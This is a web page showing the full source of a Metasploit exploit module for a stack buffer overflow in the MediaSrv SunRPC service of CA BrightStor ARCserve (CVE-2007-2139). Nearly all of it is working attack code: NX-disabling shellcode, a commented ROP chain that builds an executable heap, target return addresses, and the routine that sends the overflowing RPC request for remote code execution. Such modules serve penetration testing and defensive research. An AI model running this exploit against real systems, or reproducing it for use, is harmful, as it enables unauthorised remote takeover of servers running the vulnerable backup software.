Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::SunRPC910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow',13'Description' => %q{14This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA15BrightStor ARCserve. By sending a specially crafted SUNRPC request, an attacker16can overflow a stack buffer and execute arbitrary code.17},18'Author' => [ 'toto' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2007-2139'],23[ 'OSVDB', '35326' ],24[ 'BID', '23635'],25[ 'ZDI', '07-022'],26],27'Privileged' => true,28'Platform' => 'win',29'Payload' =>30{31'Space' => 0x300,32'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_",33'Prepend' =>34# Disable NX on 2k3 to upload data on the stack35# (service crashes if the stack is switched to the heap)36"\x64\x8b\x0d\x30\x00\x00\x00" + # mov ecx, dword ptr fs:[0x30] ; PEB37"\x83\xb9\xa4\x00\x00\x00\x05" + # cmp dword ptr [ecx+0xa4], 5 ; MajorVersion == 538"\x75\x30" + # jnz after39"\x83\xb9\xa8\x00\x00\x00\x02" + # cmp dword ptr [ecx+0xa8], 2 ; MinorVersion == 240"\x75\x27" + # jnz after41"\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00" + # cmp dword ptr [ecx+0xac], 0xece ; BuildVersion (> SP0)42"\x76\x1b" + # jbe after43"\x8d\x89\xa8\x00\x00\x00" + # lea ecx, [ecx+0xa8]44"\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe030045"\xb8\xed\x00\x00\x00" + # mov eax, 0xed46"\x6a\x04" + # push 447"\x51" + # push ecx48"\x6a\x22" + # push 2249"\x6a\xff" + # push -150"\x6a\xff" + # push -1 (padding)51"\xff\x12", # call dword ptr[edx]52'StackAdjustment' => -10000,5354},55'Targets' =>56[57['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715 , 'Off' => 0x304} ],58['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715 , 'Off' => 0x300} ],59['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ],60],61'DisclosureDate' => '2007-04-25',62'DefaultTarget' => 063))64end6566def exploit67sunrpc_create('tcp', 0x6097e, 1)6869if target.name =~ /NX/70# summary:71#72# 1) get the payload address73# 2) copy the payload into a fixed buffer (data section)74# 3) allocate an executable heap buffer (to bypass NX)75# 4) copy back the payload into the heap76# 5) jmp to the payload in the heap77#78# step 1: jmp arround the atoi pointers79#80# add esp, 20h81# retn82#83# step 2: get a pointer to the stack in ecx84#85# xor eax, eax86# mov ecx, dword ptr fs:[0]87# cmp dword ptr [ecx+4], offset __unwind_handler88# jnz end89# [...]90# end:91# retn92#93# step 3: mov the stack pointer in eax94#95# mov eax, ecx96# add esp, 20h97# retn98#99# step 4: set fffff824h in esi100#101# pop esi102# retn103#104# step 5: add esi to eax (eax points to the payload in the stack)105#106# add eax, esi107# pop esi108# retn109#110# step 6: set edi to a buffer we can write (6d515301h)111#112# pop edi113# retn114#115# step 7: copy the payload to the buffer116#117# push eax118# push edi119# call _strcpy_0120# pop ecx121# pop ecx122# retn123#124# step 8: set ecx to ffffffh125#126# pop ecx127# retn128#129# step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE)130#131# mov eax, ecx132# add esp, 20h133# retn134#135# step 10: create an executable heap136#137# push 0138# cmp [esp+4+arg_0], eax139# push 1000h140# setz al141# push eax142# call ds:HeapCreate ; create a new heap (executable for NX)143# test eax, eax144# mov hHeap, eax145# jz short loc_6d5071b5146# call ___sbh_heap_init147# test eax, eax148# jnz short loc_6d5071b8149# push hHeap150# call ds:HeapDestroy151# loc_6d5071b5:152# xor eax, eax153# retn154# loc_6d5071b8:155# push 1156# pop eax157# retn158#159# step 11: Allocate a new heap buffer (size 01060101h)160#161# push hHeap162# call ds:HeapAlloc163# pop edi164# pop esi165# retn166#167# step 12: set esi to the buffer containing the payload (6d515301h)168#169# pop esi170# retn171#172# step 13: copy the payload to the heap (executable)173#174# push esi175# push eax176# call _strcpy_0177# pop ecx178# pop ecx179# pop esi180# retn181#182# step 14: go to the heap183#184# call eax185#186# step 15:187# if 2k3 the prepend data disables NX to upload and execute188# data on the stack189#190# step 16: w00t!191192data = Rex::Text.rand_text_alphanumeric(0x600)193194# ret 1195data[ 0x100, 4 ] = [ 0x6d5010e4 ].pack('V')196197# used to store the result of atoi198data[ 0x108, 4 ] = [ 0x6d51652b ].pack('V')199data[ 0x10C, 4 ] = [ 0x6d51652b ].pack('V')200data[ 0x110, 4 ] = [ 0x6d51652b ].pack('V')201data[ 0x114, 4 ] = [ 0x6d51652b ].pack('V')202data[ 0x118, 4 ] = [ 0x6d51652b ].pack('V')203data[ 0x11C, 4 ] = [ 0x6d51652b ].pack('V')204205# ret 2206data[ 0x124, 4 ] = [ 0x6d50b27a ].pack('V')207208# ret 3209data[ 0x128, 4 ] = [ 0x6d5010e2 ].pack('V')210211# ret 4212data[ 0x14C, 4 ] = [ 0x6d50aa6d ].pack('V')213data[ 0x150, 4 ] = [ 0xfffff824 ].pack('V')214215# ret 5216data[ 0x154, 4 ] = [ 0x6d50aa6b ].pack('V')217218# ret 6219data[ 0x15C, 4 ] = [ 0x6d5057a0 ].pack('V')220data[ 0x160, 4 ] = [ 0x6d515301 ].pack('V')221222# ret 7223data[ 0x164, 4 ] = [ 0x6d50b938 ].pack('V')224225# ret 8226data[ 0x178, 4 ] = [ 0x6d502df0 ].pack('V')227data[ 0x17C, 4 ] = [ 0xffffffff ].pack('V')228229# ret 9230data[ 0x180, 4 ] = [ 0x6d5010e2 ].pack('V')231232# ret 10233data[ 0x1a4, 4 ] = [ 0x6d507182 ].pack('V')234235# ret 11236data[ 0x1a8, 4 ] = [ 0x6d505c2c ].pack('V')237data[ 0x1ac, 4 ] = [ 0xffffffff ].pack('V')238data[ 0x1b0, 4 ] = [ 0x01060101 ].pack('V')239240# ret 12241data[ 0x1bc, 4 ] = [ 0x6d50aa6d ].pack('V')242data[ 0x1c0, 4 ] = [ 0x6d515301 ].pack('V')243244# ret 13245data[ 0x1c4, 4 ] = [ 0x6d50f648 ].pack('V')246247# ret 14248data[ 0x1cc, 4 ] = [ 0x6d506867 ].pack('V')249250data[ 0x260 , payload.encoded.length ] = payload.encoded251252else253data = Rex::Text.rand_text_alphanumeric(0xA64)254off = target['Off']255256data[ off, payload.encoded.length] = payload.encoded257data[ off + 0x73c, 2 ] = "\xeb\x06"258data[ off + 0x740, 4 ] = [ target.ret ].pack('V')259data[ off + 0x744, 5 ] = "\xe9\xb7\xf8\xff\xff"260end261262data = "_" + data + "_1_1_1_1_1_1_1_1_1"263264request = Rex::Encoder::XDR.encode(1, 1, 2, 2, 2, data, 3, 3)265266print_status("Trying target #{target.name}...")267268begin269ret = sunrpc_call(0xf5, request)270select(nil,nil,nil,20)271rescue272end273274sunrpc_destroy275276handler277disconnect278279end280end281282283